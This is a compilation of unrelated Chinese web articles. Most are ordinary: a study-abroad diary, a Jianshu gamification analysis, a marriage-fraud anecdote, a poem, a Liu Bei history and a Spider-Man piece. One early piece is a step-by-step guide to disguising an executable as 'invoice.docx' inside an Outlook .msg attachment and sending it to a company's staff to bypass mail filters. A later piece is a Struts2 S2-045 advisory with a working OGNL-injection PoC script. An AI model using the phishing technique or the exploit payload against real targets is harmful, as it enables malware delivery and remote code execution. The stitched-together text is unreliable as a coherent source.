OLEOutlook利用:一封邮件绕过所有企业安全防控

在本文中,我会向大家展示如何通过Email将一个可执行文件嵌入到公司网络。伪装成一份Word文档,绕过防火墙,目前该问题还没有任何补丁发布!

今天早些时候,我写OLE Package还是packager.dll的时候,一个Windows特性回溯到Windows 3.1,在之后的Windows版本中也存在,它允许在文档中嵌入任何内容!

当时我就强调,你可以将恶意内容放到Word文档,再转换成富文本格式来绕过大多数企业邮件过滤系统。

Microsoft Outlook.

没错,Microsoft Outlook从2003版本起就开始支持OLE Package。默认情况下Outlook,通过Email接收的OLE Package是不允许打开可执行代码的。你无法点击图标

这项策略非常伟大!

但是,如果你将该邮件保存为.msg文件,然后将其作为邮件的附件,用户就可以打开这个包了!

到目前为止我尝试了所有魔力象限(Magic Quadrant)所列举的邮件过滤解决方案,没有一款能够检测到其中内容。

编译Package

你需要:

Microsoft Outlook 2003之后版本, 包括 Outlook 2016。

你需要打开一个新的电子邮件,最大化窗口,之后单击插入 -> 对象 -> 向下滚动找到Package。然后选择你想要嵌入的内容,这里我们以Windows计算器为例:

现在单击文件 -> 另存为,给它取一个名称,例如testing.msg

然后新建一个邮件,告诉用户记得查看附件,将testing.msg作为附件增加到邮件中,并发送给公司的员工。

用户接收到邮件,如果他打开testing.msg文件,就会打开可执行文件,以及你在其中写下的提示!

没事,我们的防御系统能够阻止

这个脸是打的不要不要的,例如交换层保护装置守护使(SOPHOS),纯消息策略就无法应用到OLE Packages中,如果你过滤掉.exe文件,他也只能眼睁睁的看着你从眼前飘过!Outlook自身对于OLE Packages也会忽略危险文件类型,并故作从容的允许它轻松的打开。

更糟糕的是Outlook.exe作为中等完整性运行,并生成可执行文件(或批处理文件,或者其他你嵌入的内容)都是中等完整性,所以你就跳出了Outlook以及Windows的沙盒的保护。

做事要有始有终

接下来便是用一个警告标志来替换calc.exe。

在Outlook中你无法点击“作为图标显示”复选框,这就需要你改变图标和描述了…

除了Outlook 2013,你可以转换HTML消息格式转换为富文本格式,然后返回插入 -> Package

勾选“显示为图标”选项,然后选择一个新的图标—— Winword.exe和Excel.exe都是很好的选择,之后在下面窗口重命名附件,例如invoice.docx。

然后将消息类型换回HTML(重要),然后保存邮件:

在上面的例子中,通过安全提醒盲目的你打开了Invoice.docx,之后弹出了Firefox安装程序

保护

3个途径:

其一便是应用白名单,然而对于嵌入的签名的带参数可执行文件要非常小心了。例如许多微软数字签名工具就可以拿来作为其他内容的跳板,由于是微软的签名,可能你现在对那些签名是信认的不能再信任了。

其二为你的Office版本部署注册表ShowOLEPackageObj键值,默默的禁止Outlook中的OLE Package函数。这里没有更全面的禁用方法,然而攻击者依旧可以在Word, Excel以及PowerPoint中嵌入恶意内容。

其三是EMET,如果你运行Microsoft EMET(或者像Palo-Alto TRAPS的类似产品),可以为Outlook.exe增加以下规则:

<Mitigation Name="ASR" Enabled="true">         <asr_modules>packager.dll</asr_modules>       </Mitigation>

通过阻止packager.dll,你是可以粗暴的解决该问题!

总结

该问题需要Microsoft好生去整理,这里没有办法阻止用户跳出沙盒保护或者控制,点击一个用Word图标伪装的Invoice.docx文件,之后生成未知的代码。

问答时间

Q:你今天讲的不就是BadWinmail (CVE-2015–6172 MS15–131 KB3116111)么?可参考《Microsoft Outlook曝严重漏洞,可导致远程代码执行

A:不,这是一个不同于Haifei所发现的问题

Q:你可以提供一份预先构建好的测试文件么?

A:完全可以,看看这份文件。其仅打开Firefox安装程序(官方版本),你看将其作为邮件附件发送给你的同事,似乎这才是最好的诠释方式!

*参考来源:Kevin Beaumont,编译/FB小编鸢尾,转载请注明来自1024rd黑客与极客(1024rd.COM)

无助悲伤的哭泣,也是成长的印记 – 留学记(七)

今天是成绩放榜之日,对于语言班的学子来说无疑是比高考更紧张害怕的时刻,如果失败不仅意味着对过去长期煎熬奋斗的宣判失败,更面临被遣送回国心理上难以逾越的“奇耻大辱”。

朋友圈,微信群里充斥着通过的欢呼声,庆祝派对和旅行计划,同时也有一群拿到成绩单那刻开始就彻底奔溃,茫然失措的伤心者们。当一个flat里都在恭喜对方通过时那个没有出声的人的结果,是一种无助的沉默。

听说可能还有一丝希望和学校商讨是否有转圜的余地,所以这些学子们强撑着最后的一丝希望带着濒临失控的情绪,穿梭在学校各个办公室。而得到的反馈是冰冷的,公式化的,踢皮球式的推诿。flat里的小妹妹当场就情绪失控,流泪不止。我可以了解这种瞬间被告知毫无第二条路可走的绝望,而在他们这样的年龄来说,真正是沉重的打击,自问自己可能一时也无法接受。

晚上她来找我帮忙,我这才知道,她默默地一个人流泪很多次,不光是考试的失误,也有身体病痛时的无助,和第一次远离父母庇护的脆弱。听闻甚至有个孩子每天靠着和父母视频通话来平复异国无法适应的生活和社交环境。我庆幸我是30+出国,而不是在他们的年纪。因为我丝毫没有自信,在他们这样尚无社会经验的前提下一个人生活,我会比他们做地更好。如果还没有做好能承受寂寞的心理预期,微妙的社交压力,和考试的压力,我可能并不建议年轻的孩子出国念书。也许这也是为什么新闻一直报道留学生抑郁自杀的原因之一吧。

我与她聊天至深夜,希望以我的阅历和心灵鸡汤可以暂时帮她找回希望和勇气来面对接下来的可能性。这样瞬间的打击是摧毁性的,但同样也是磨练内心的试金石。他们在这刻明白,这个世界没有绝对的公平,人不止只有一条路可以选择,他们会看见温情和冷漠,看清友情和亲情,更看清自己的内心。

我自认为是个非常能量低下的人,不能带给别人像公车小哥那样耀眼的光彩和温暖,但是当她拥抱我说,谢谢你,姐姐时,我欣慰自己已经被断舍离冰冻的内心,原来还是可以给别人带来温暖。

晚安,祝你们在哭泣之后,能坚强地面对失败,并且重新振作。

游戏化第1级分析——简书

此分析基于个人的使用体验,得出的分析不一定全面以及正确,仅作参考之用。

根据上图可以得出,在核心驱动力1:史诗意义与使命感方面相对而言较弱,因为使用简书并没有什么重大的意义。另外没有发现简书上有核心驱动力6:稀缺性与渴望感的存在,毕竟对于一个成长阶段的内容社区而言,所有的功能都已经向全体用户开放了,同时也不会故意把好的文章隐藏起来形成稀缺感。

简书具备较强烈的核心驱动力2:进步与成就感,相对于微信而言简书上所有的用户都能轻易成为一名作家,这种低门槛的方式更容易引发用户的成就感。而另一方面所有用户都可以把自己的文章进行首页投稿,只要自己的文章足够好就有可能成为热门文章,从而获得更多的浏览、评论、分享、关注和打赏。总体而言,简书上的用户获得成就感的门槛相对较低,但要做好引导更多的用户创作更多的文章以及做好首页推荐的筛选机制。

而对于核心驱动3:创意授权与反馈,对于浏览型用户而言简书一大乐趣在于发现和分享有趣的文章,并与作者进行互动。而对于创作型用户而言一方面具有浏览型用户的发现、分享、互动的乐趣,另一方面还具有获得被分享、实时得知自己的文章获得了多少阅读数和喜欢,还可以和喜欢自己文章的用户进行互动,从而更有意愿创作更多有趣的文章内容。

简书还具有较强烈的核心驱动力4:所有权与拥有感,对于创作型用户而言通过不断写作文章和获得更多的浏览、喜欢和关注,从而产生了对简书上自己的账号更强烈的拥有感,进而对自己简书上的一切产生监控情结,即经常关注自己的文章、粉丝、评论等各种数据变化。而浏览型用户会基于自己关注的各类专题、作者和文章,从而产生一定的归属感,但还不足以使他们产生对自己简书账号的强烈拥有感。

核心驱动力5:社交影响与关联性,人们一直渴望和他人保持联系、分享自己的经验、了解他人的动态。浏览型用户可以在简书上认识更多的用户,浏览各种类型的文章,通过点击“喜欢”这种社交刺激技巧快速地与作者互动,可以和所有用户进行简信交流互动。创作型的用户则还可以通过得知有多少人浏览、喜欢、分享你的文章,获得更多的社交影响。

核心驱动力7:未知性与好奇心,每天当用户打开简书,他们都会寻找值得观看和分享的有趣内容。简书通过首页banner、热门专题、新上榜、7天、30天热门等显眼的选项引导用户更容易找到好的内容。但简书的首页推荐文章并不会随着用户的刷新而变动,而只是通过不断的下拉来看更多的推荐文章,不知道其他用户怎么想,但我作为一个用户是不会有太多动力不停的下拉,在这方面可以尝试使用“狩猎奖励”技巧,即每一次的刷新都会出现不同的推荐文章,从而让用户更有兴趣不断刷新看更多的文章,因为你永远不会知道下一次的刷新会不会就有你想要看的。对于创作型用户而言,永远好奇于下一刻是否会有新的评论、关注、分享,简书会不会开展更多有趣的活动,从中能不能使自己获得更多的展现和影响力,是导致他们会经常回来查看相关数据的动机。

核心驱动力8:损失与逃避心理,“沉没成本监狱”技巧会阻止用户的流失,尤其是已经在简书上使用了较长时间的用户,如果选择不再使用简书,用户在其中积累的时间、朋友、体验、内容等都将失去。另外“FOMO冲击”也会进一步阻止用户流失,因为当你不再使用简书,你就会错过已经关注的各类专题和作者的新文章。尽管核心驱动力8的技巧会比较有效,但会使用户产生不舒服的感觉,所以尽量少使用这方面的技巧。

综上所述,如果简书能在核心驱动1和5方面做得更多,或许可以获得更好的发展。给予用户一个更有意义的理由来使用简书,会更容易吸引和留住用户。简书可以尝试建立更多的公益事业或活动,比如开展文字创作大赛,参与的人数越多、创作的文章越多则资助失学儿童的金额就越多,这样一方面让用户通过活动发挥了自己的创造性创作文章,另一方面也能让用户感到是因为自己的努力让更多的失学儿童得到帮助,从而产生更多的成就感,同时用户还会更有意愿邀请更多的朋友参与进来,使得活动形成更大的社会影响力。


附录:八大核心驱动力的游戏技巧

我亲见的一次不了了之的疑似骗婚

去年夏天的事。

一位兄弟,Z,突然打电话,约我吃饭。是正餐,在城市广场里面那种,不是宵夜。

我和这位兄弟认识在宵夜摊上。某年4月1日深夜,细雨轻寒,他在宵夜摊上一个人喝啤酒看iPad,我在邻桌一个人喝啤酒,解手时路过他身边,瞄了一眼,说:这位兄弟你赶今天看张国荣的电影是故意的吗?

于是认识,然后成了朋友。隔段时间会宵夜,酒后,会给我讲近期和某个女孩子的情感纠结。女孩子每次几乎都不一样,但纠结都很实在。

我想了想,问他,是不是有靠谱女朋友了。

他说对呀,你怎么知道,我正准备告诉你,请吃饭就是让哥哥你把把关哒。

三人饭局在友好的气氛中开始了。

女孩子长得不错,五官皮肤头发都没什么可挑的,身高总在170以上,身材接近丰满,说话落落大方,眼神自然平和。Z告诉我她是90后。我当时还内心感叹了下,90后都这么成熟了。

按照一般礼仪流程,我赞赏并且祝福了Z和这位女孩子,我们姑且称她为M吧,并且对成为他们早期的幸福见证人表示荣幸。M表示了感谢并根据Z的介绍恭维了我几句。我回顾了和Z不着调的相识经历以及酒肉朋友的厮混历史,对Z作为一位才情俱备又事业相对美丽、有着良好未来预期的准贵金属王老五进行了客观评估,M对这段历史表示了肯定并简要回顾了她和他的情感,当然,主要是说他对她多么好多么重要。

本来是一个很正常很妥帖的夜晚。但我那天确实有些疲倦,有些心不在焉,而且那段时间因为要写一本书,短时间连续采访了近百号人,疲倦让我经常从一个得体的宾客身份游离,飘忽到对人琢磨来琢磨去想看透ta内心在想什么的状态。

确实是忽然之间,像蚊子叮了我一口一样,一种不安的感觉突然冒出来,在我耳边嘤嘤嘤不住地叫。

我定了定神,终于明白为什么了。对方,M,和我一样,不在应该有的角色里。她太像一个销售了。她说的每句话都让我觉得她希望我接受她给我的信息。但她本来不必说这么多的。

我那段时间采访的百来号人,全都做过很牛的销售。

Z去洗手间时,我笑着随口问了一句:你做过销售吗?

她说:没做过,但她学商业贸易的,有过相关课程。

哦,我说,尽量显得漫不经心,那么你家里……?

她迅速回答,她父母在山东省W市工作,不久前感情失和离婚,确切说,是她父亲在外有了公开的小三。然后她父亲调到了北京去――他原来的身份,是W市国家安全局的一个副职。她瞒着母亲出来,准备到A国留学,父亲会给她相关的费用,但在沪准备办理相关手续期间,与Z相爱,不想出去了。

嗯,我知道为什么Z说没有与她家里直系亲属电话联系过了。

我又问了一句:你父亲调到北京,是市局还是部委呢?

就在那刹那,我第一次看到她有点慌乱,她说,这个,我不清楚,都是保密的。

Z回来,我出去打了个电话,对他们说:今天这么高兴的事儿,咱们干脆第二场吧,B会过来一起见见你女朋友。

我微笑着对M说,B,是Z和我共同的朋友。他是个警察。

我在电话里对B已经表明了我的疑惑。第二场酒局,我并不多说。大家不经意间东扯西扯,谈笑风生。

结束时,我请M和Z先走。我和B深入探讨了这件事。

我的疑惑主要集中在,第一,她父亲这件事巧合得不像样子,刚好造成对她家人既无法联系也无法确认身份的现状。而且,她父亲不管做什么工作,从山东一个地级市调到北京,无论是市局还是部委,都是很不寻常的。她父亲在外面有小三,这在目前是多么忌讳的事,她却反复强调。第二,在后面这场饭局中,她仍然表现得太过“主动”,比如她的某位老师,她会把他的名字很准确地说出来,并且说他现在还在那里工作,随时可以联系上云云――而她显然没有必要这样事无巨细地讲,除非她想到我们可能要问这些信息。

第三,我的直觉,非常明确,她有些紧张,在一种战斗状态。

“我怀疑,她是个骗子”。我说

B基本同意我的看法,补充了一些值得怀疑的细节,然后说,那你打算怎么办呢?戳穿她?怎么戳穿?并且,这毕竟是私人感情范畴,万一,万一错了呢?

我说,我想想。

事实上我是这样一个人,就算把自己搞到尴尬也难以接受朋友被欺骗。所以第二天,我给Z电话,坚持去他办公室,聊聊。

M也在办公室。其实据说每天都在。她把办公室的生活打理得非常周到。Z忙着的时候,我和M在一个较小空间,有一个短暂的对话。

对我而言,增量信息有三个。

一,我第一次注意到M脸上的皮肤虽然好,但手骨节粗大,皮肤有些粗糙。

二,她主动谈起他父亲调到北京去之后的情况,很多细节。在我看来,仍然是没必要的细节,但刚好能弥补昨天她短暂慌乱时未能回答的问题。我“哦”了一声,说,这些事不是保密的吗?

三,她主动问了我一句,“您的车就停在楼下吗?”这显然又是一个多余的提问,因为我并没提到我开车来,Z也没有车,这附近停车也不难。这种问法,只有一种可能,她想知道我有没有汽车。

这是我最后一次和她见面。

让我吃惊的是,Z几乎无法做到和我单独见面,他说M在盯着他。但最终我们俩还是找到借口,在隔壁咖啡店坐下。我直截了当:“虽然你可能不喜欢听,但我要先告诉你,我怀疑她是个职业骗子。如果你能接受,我希望你能把你们相识至今发生了什么都告诉我。”

Z当然不愿意听。没有人会愿意听。但他最终还是开口了。

大概是这样:年初,他们在一个行业微信群认识(但她并不是业内人士),感情迅速升温,她要出国,出国前,2月到上海,在陕西南路租了间月租一万的房间。他们之间冷冷热热,中间有几次感情反复,但最终他相信她是就是他要等的人。他飞去某城,给她买了价值数万元的钻戒,作为订婚礼物。不久后,要办一个订婚仪式。然后她出国留学。

我说了我的疑虑。他不断提出一些试图证明我的疑虑经不起推敲的证据,但显然,他听进去了。

临走前,我叫他仔细考虑考虑。对我来说,事情做到这里也就很够意思啦。

Z在几天后给我电话,要谈谈。

故事里忽然多出了一个人来。

是某个男人,上海的,不断给他发信息和邮件,说M是个骗子。信息内容很多,很具体,包括那个男人和M的隐私音频。

Z问我,怎么处理,要不要报警。

我回答,关键他说的是不是真的。

从Z的转述,可以得到的信息是,在Z和M蜜里调油的时间里,M为了贴补花销,去做了英语家教,学生是一个三十多岁的男人。后来,因为一些必然的理由,课就上到了家里,上到了不可描述的地步。然而这个男人自称是个老司机,不仅发现M是个骗子,揭穿了她,没有出学费,还从她那里骗或者敲诈了一笔钱走。

老司机后来听说了Z的存在,出于义愤或者出于一种逆袭者的炫耀,一定要告知Z所谓事实。但Z显然不愿接受这个事实。后面他对M摊开来问,M说,那就是因为一次和Z的别扭导致的劈腿,虽然不止一次,但没有感情……

老司机提供了很多信息,包括一些显而易见的疑点。问题是,在Z看来,这些问题都不是明确的证据。

我有点崩溃。

在那段时间我和B讨论过可能的办法。最直接的是证明她在家人身份上撒谎了,但很难操作――体制内的朋友都会认为万一是真的就很麻烦了。她本人的名字,是“在校期间”的活动,可以在网上搜到,但是在一个贴吧里。报警,显然没人会受理。我还在网上搜了一下类似的骗婚案例,从我个人看来,相似度是很高的。

Z在某日成功摆脱了自己的内心阴影和M,和老司机见了一面。老司机进一步提供的信息很有杀伤力――主要是情感上的。Z似乎第一次觉得M不可信。

这给了我机会。Z这次还说,原本最近准备办一个订婚仪式,除了男方父母,还有女方的一位姑姑、叔父和奶奶――奶奶据称80多岁了,女方父母因为“可以解释”的原因将双双缺席。他们将开车从山东W市老家赶到上海参加订婚仪式。

我看着Z:你听说过女方父母可以在场而不在场的订婚仪式吗?他们从山东开十几二十个小时的车来,不坐火车,不怕80多岁的老人在车里出事吗?

我告诉Z,很有可能,她的这三个甚至更多“家属”,正在上海某个房子里,也许就在你们租住的那间月租一万多的房子隔壁,随时可以赶到你们身边呢。

用了三个小时,我才算说服Z,把他在M房子里的物品取走。在这段时间里,他的手机一直在响,他也始终没有接。

那间房子在陕西南路一个老小区,二三十平米,月租一万显然是有些离谱了,但很雅致,小资气息浓郁。Z的东西不多,几个包就可以带走。我帮他把这些物品都送到他家里才作罢。

总算可以松一口气了。

我有一个星期没有他们的消息。打电话给Z,也不接。

终于打通了,电话里,他压低声音,有些惶急,像在做贼。

原来M还在他身边。

那晚,她打不通他电话,一直站着守在他家小区门口,直到后半夜――我们回他家的时候走的另一个小区门,才避免直接撞见。

但终究躲不过去,似乎也说不明白。结果就是M不仅和Z恢复了关系,还住到了他家里。

我沉默良久,说,这件事,你准备怎么办?

他哑着嗓子,回答得很艰难:“我还是喜欢她,没办法怀疑她。”迟疑了一下,又说:“万一你错了呢?万一她改好了呢?”

无奈、无语和无趣一时纷至沓来。难免恼羞成怒。给他发了条微信,大意是,假如我错了,将来他们结婚时我愿意当面加倍赔罪,怎么罚都行,否则,在他们分手之前,我们就不必联系了。

再接到Z的电话,已经是深冬。

Z说,过去的伤疤总不能无视,最终她去了A国,留学。打来过电话问好。其间除了那枚钻戒,以及一些不大的花销,经济上,并无新增的大的损耗。她的那些亲属,也未再出现。

我问他,来电话时,看清楚是哪里的区号吗?

Z摇头不语,注视啤酒里的泡沫坍塌,分分明明在告诉我:“我还是没办法相信她是个骗子”。

我当然一直相信,她是个有团队有预谋有针对性的婚恋骗子,她已经称得上演技纯熟业务精湛却在两线甚至多线出击时被老雁啄了眼。不过,就在那一刻,我信心动摇,内心反问了自己:“要是我错了呢?要是她动了真情能改好呢?”因为这种动摇,我甚至生出某种遗憾,以及对Z莫须有的歉疚之情。

(文内涉及的个人信息均已做了一定处理,请勿对号入座)

「情书」投稿须知

这是简书第一个征集「情书」的专题。

每一个爱好文字的人,都应该有过为另一个Ta提笔写情书的冲动。或许你的爱情是单车上穿着白衬衫和连衣裙的你我,或许你的爱情是流光溢彩的霓虹灯和舞曲,或许你的爱情是王家卫式的迷离和忧郁,或许你的爱情是柴米油盐的朝九晚五……每个人心里都有一封还未寄出的情书。

「情书」接受多种体裁的投稿,但会对文章质量有较高要求:

1.情诗:长诗为主,刨除形式和修辞,要有真情实感,能打动人,请给我一首不落俗的情诗;

2.散文:800字以上,真实动人,拒收鸡汤;

3.摄影:以图传情,图片中要有强烈的爱情表达,以人像为主;

快来写你心目中独一无二的Ta。

【简书交友】专题其他投稿须知:

【简书交友】投稿须知:http://www.jianshu.com/p/08b7a7d5b360

【同城约玩】投稿须知:http://www.jianshu.com/p/6dbce5ec2b70

【交友故事】投稿须知:http://www.jianshu.com/p/57e1104256d3

诗‖有一种声音—赠女儿(小九儿)

诗@半岛雪
有一种声音将自生命中来,
点亮我手掌中的星星,
那柔软的光于最洁净的心底波动,
将焦渴的期翼写进赞美诗,生命的泉音,
神性的,神圣的,神感的……
那最原始的一种旋律,
令无数行走的人感动落泪,
心满意足摘取最遥远的花朵。
一旦遭受这种声音的袭击,
整个人间的银雪敲击如泉眼眸,
整个世界的生命片段重新组合,
整个宇宙的力量将汇聚于神奇,
相信吧,就是这种声音,让
我再次耕耘上半辈子的故事,
将贫瘠的时间肥沃,将残缺再次拼贴,
就是这种声音,它将继续继承宗族的基因,
和生生不息的火焰,永不知疲倦的歌咏,
就是这种声音,
—啼哭。

蜀汉——未竟的帝业(002)

人生总是充满着意外,而命运就在其中若隐若现。

公元175年,两位婴孩同时呱呱坠地。这两个人,一个名叫孙策,另一个名叫周瑜。在日后的乱世中,他们都将绽放一片属于自己的光彩。

这一年,刘备正满十五岁。

古人十五岁是成童之时。到了这个年纪,有钱有势的人家便要送孩子去读大学。

何谓大学?在汉代,儿童的教育体系已经大体成型。通常来说,八岁以后,儿童便要接受启蒙教育,先是识字,之后是学习一些较为浅显的儒家经典。这是小学。

到了十五岁成童后,便要进一步深造,学习深奥的《周易》、《诗经》、《春秋经》、《尚书》、《礼》等五经经义。这是大学。

这一年,刘备遇到了人生中第一位贵人——卢植。

卢植是汉代有名的大儒,师从东汉的经学泰斗马融,与郑玄、华歆等是都同门师兄弟。曹操曾经这样评价他:

“故北中郎将卢植,名著海内,学为儒宗,士之楷模,国之桢干也。”

由此可见时人对他的推崇。

图片来自网络,如有侵权,请联系删除

与一般的腐儒不同,卢植有济世救人的志向,同时还颇通兵法。

公元175年,扬州九江郡发生蛮族叛乱,朝廷认为卢植才兼文武,于是拜他为九江太守。卢植到任后,果然迅速平定了当地叛乱,蛮夷均服。但不久,卢植便因为身体有恙,辞官养病。

卢植也是涿郡人。辞官养病的同时,卢植一面著书立说,一面又开馆授学。刘备便是在此时拜入了卢植的门下。

刘备是幸运的。因为他刚到要入大学的年纪,便碰到了这样一位名满天下的大儒,成了他的入室弟子。要知道,仅仅一年多以后,卢植就结束了隐居生涯而再次踏入官场。

如果错过这次机会,刘备恐怕再也无缘拜入这样的海内大儒的门下。而正是凭借这个身份,刘备才有了融入东汉名士圈的敲门砖,以及后来被孔融、陈登等人所接受,并在他们的支持下担任徐州牧一事。

不过,刘备本来没有条件拜师的。

卢植是海内有名的大儒,拜入他的名下学习,自然相当不易。除了有一定的文学基础,也需要交纳不菲的束脩——也就是学费。除了学费,当时的学生往往寄宿在老师家中,吃穿用度和书籍都要花钱。

刘母卖席为生,所得收入不过糊口而已,即便再节俭,哪里能凑出这样一大笔开支呢?

“费用我来出吧!”说这话的人叫刘元起,与刘备同属一族。他家境富裕,有足够的能力供应刘备外出求学的费用。刘母自然感激不尽。

“咱们彼此各为一家,如何能经常予人钱财呢?”妻子曾这样质疑道。

“我们家族出了这样一个人,不同寻常啊。”刘元起一边回应妻子,一边在脑海中回忆着这些年对刘备的观察所得。

刘元起最初对刘备产生印象,源于几年前一个儿童间的玩笑。

刘备家房屋东南边有一颗年代久远的桑树,五丈多高,从远处望去,其枝叶如同贵人所做马车的车盖一般。一天,当时不过总角之年的刘备,正与一群小伙伴在树下愉快地玩耍着。

嬉戏期间,刘备抬头望着那高高的桑树,忽然指着它大声说了一句:“等我长大了,一定要乘坐这样高大的羽葆盖车!”声音虽然稚嫩,却透露出一股豪迈之气。

话音刚落,却见一个男子从屋里匆匆跑出来,一把便将刘备拉进家门,并低声叱责道:“以后不准再胡言乱语,不然我们一家都要被抓住杀头!”

说话的男子叫刘子敬,是刘备的同宗叔父。他的话并不是危言耸听。羽葆盖车是皇上专用之物,要乘这样的车驾无异于表示自己想当皇帝,这当然属于大逆不道之罪,按照法律要诛三族,无怪乎他这样害怕。

同样的话也被刚好路过的刘元起听到。与刘子敬不同,他却从中听出了一种渴望和志向。

“少有大志,此子不凡。”这是他的第一反应。自此以后,刘元起便开始默默地观察起了这个孩子。

随着年岁的增长,刘备越来越表现出他与同龄人的与众不同。

他不像一般少年那样爱逞口舌之快,有时甚至显得太过沉默寡言。碰到一些身份低贱的人,不像一般人那样颐指气使,反而常常谦逊地对待。

他遇到事情从来极少慌张,有着近似成年人的沉着与冷静。有人羞辱他时,并不随便发火,遇到高兴的事,也不会得意忘形。

“此子必成大器!”伴随着对刘备的深入了解,刘元起越发坚定了自己最初的判断。因此,当听说刘备无钱读书时,他毫不犹豫地慷慨解囊。

“这是政治投资。”刘元起最后对妻子说了这么一句总结性的话语。

有了同族人的资助,刘备得以顺利地拜师卢植。

“母亲,我一定努力跟随先生学习,不辜负您的希望!”分别时,望着母亲因常年劳作而有些佝偻的身躯,刘备暗暗发誓。

随后,他迈着坚定的步伐头也不回地离开了那居住十五年的村庄,迎面走进一个广阔天地。

从创业者到投资人的跃迁思考

跃迁

01 改变与跃迁

最近一段,自己一半以上的时间精力集中与金融相关的事情上。

1、创业项目的资本对接。对自己创业了10多年的通信基础设施特许经营项目反复调整商业模式,与上市公司、投资人、基金公司沟通,主要希望尽快完成与资本的对接,最终彻底解决项目后续长期的资金问题,也能实现各方的优雅退出;

2、尝试进入金融服务领域。一步一步实现年初制订的年度目标之一:组建一个金融服务小团队。现在平台公司已经有了,主要物色合伙人,策划金融服务业务,为未来成为一个私募基金公司做好长期发展规划。

3、学习金融投资有关知识。向书本上学,和高手学,向实践学。在学习中建立全方位的金融概念,了解投资理财的基本规则,并在实践中慢慢体会和找到规律。这个事情已经坚持3-4个月了,接触了很多金融服务机构,尝试了股票、基金等各类投资品的盈亏进退方式。

这是今年5月份开始学习投资理财后,我确定的人生调整方向:人生上半场,我是一个创业者(已经无法改变);人生下半场,我要成为一个投资人(未来努力方向)。现在正在做的这一切,就是从一次创业者向一个投资人的跃迁。

改变世界很难,那就从改变自己开始。

02  创业成功路径

大多数创业者都有一个梦想,就是把自己创业的项目做到挂牌上市,然后功成名就、退隐南山。事实上,只有少数的企业能够完成这样的目标,这条路很窄、很艰难。70%的企业最后终止经营的原因,是现金流断裂。

所以,创业者先不要考虑是否能上市的事情。最先应该思考的,应该是如何吸引投资人的事情,让自己创业项目很多人都想参与投资,就是创业成功的第一步。

自己创业的项目在过去10几年中,也吸引了不少个人投资者参与,包括股权投资、项目合作投资、联营合作投资。但由于都是个人投资,对于资本运作、退出方式并没有太高的要求,后续持续投资能力也非常有限,所以很难把创业项目推动到更高的高度,仍然停留在较低的融资合作层面。

要实现创业历程的升级迭代,就是要完成与专业投资机构对接与融合。

03 投资人思维与机会

学习投资理财之后,我的几个重要体会:

一是投资者的思维模式完全不一样。所有专业投资者,每一次投资决策先思考风险和投资安全,再考虑投资回报率。同时,对于投资回收期长短、退出方式的难易、机会成本的高低都有明确的诉求。

二是投资者要求的投资回报率完全不同。抛开打板敢死队的特殊群体,一般的股权投资者(机构)能看上的项目,都是能够实现3年10倍甚至数十倍以上的回报。就是普通的理财投资的投资品,没有超过15%的年化收益率,也很难打动人。所以,投资项目行为,说到底就是一个如何选择的事情,资产如何配置组合的事情。

三是个人机会完全不一样。从全球范围看,中国应该仍然是商业机会最多的国家,但从产业角度看,投资领域仍然是实现个人财务自由最近的一条路。金融投资领域从业人员的收入水平高出其他领域平均至少50%,就可以看出某一种概率。

记得和某个金融机构高管聊天,虽然他已经金融领域从业10多年,但他仍然坚持认为,在投资领域他仍然是一个新人和学习者,成为一个专业而成功的投资者难度非常非常大。

对我来说,要成为一个成功的投资人,就是人生的一次跃迁。

【漏洞预警】Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)



1024rd上次曝Struts 2的漏洞已经是半年多以前的事情了。这次的漏洞又是个RCE远程代码执行漏洞。简单来说,基于Jakarta Multipart解析器进行文件上传时,利用漏洞可进行远程代码执行。 该漏洞由安恒信息Nike Zheng上报。

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。

漏洞编号

CVE-2017-5638

漏洞简介

Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。

实际上在default.properties文件中,struts.multipart.parser的值有两个选择,分别是jakarta和pell(另外原本其实也有第三种选择cos)。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的,所以该漏洞的严重性需要得到正视。

影响范围

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

修复方案

如果你正在使用基于Jakarta的文件上传Multipart解析器,请升级到Apache Struts 2.3.32或2.5.10.1版;或者也可以切换到不同的实现文件上传Multipart解析器。

漏洞盒子流行漏洞检测网藤风险感知 已支持对该漏洞的检测,申请免费使用

漏洞PoC

import requests

import sys

def poc(url):

    payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"

    headers = {}

    headers["Content-Type"] = payload

    r = requests.get(url, headers=headers)

    if "105059592" in r.content:

        return True

    return False

if __name__ == '__main__':

    if len(sys.argv) == 1:

        print "python s2-045.py target"

        sys.exit()

    if poc(sys.argv[1]):

        print "vulnerable"

    else:

        print "not vulnerable"

* 参考来源:Apache,转载请注明来自1024rd.COM

蜘蛛侠英雄归来,背后却是漫威、索尼的商业妥协

蜘蛛侠的电影角色其实和美国队长、绿巨人他们不同属一个公司?

16年美漫角色排行,漫威红人钢铁侠只排第6,蜘蛛侠人气第2?

蜘蛛侠重回漫威制作,本次票房却与漫威无关?

漫威索尼同意联手打造蜘蛛侠系列,催化剂是因为黑客?

上面这4个疑问是按照对美漫、漫威的了解程度,从浅到深依次排序的。

如果都知道,那应该是资深的美漫fans,如果都是问号脸,那就接着听故事。

很久很久以前,当时漫威还是个纯漫画公司,完全没有拍电影的计划,生意经营困难,就有了卖角色版权维持公司经营的念头。

最先卖的是x战警系列,给到福克斯公司。

福克斯拍了x战警的电影后,票房爆棚。

索尼一看,这玩意有意思啊,就找漫威谈,买走了人气超旺的蜘蛛侠,大约是1999年,700万美元。

【漫威官网一直把蜘蛛侠放在首页最突出的位置,美漫迷票选,蜘蛛侠从未离开过前3】

漫威影业成立后,逐渐有了漫威电影宇宙的计划。

08年钢铁侠的上映一炮而红,这时又怀念起来了人气嘴炮侠-蜘蛛侠的版权的事情。

漫威有情。

索尼影业那边,蜘蛛侠系列逐渐成为它的金字招牌,累计票房已经超过40亿美元。

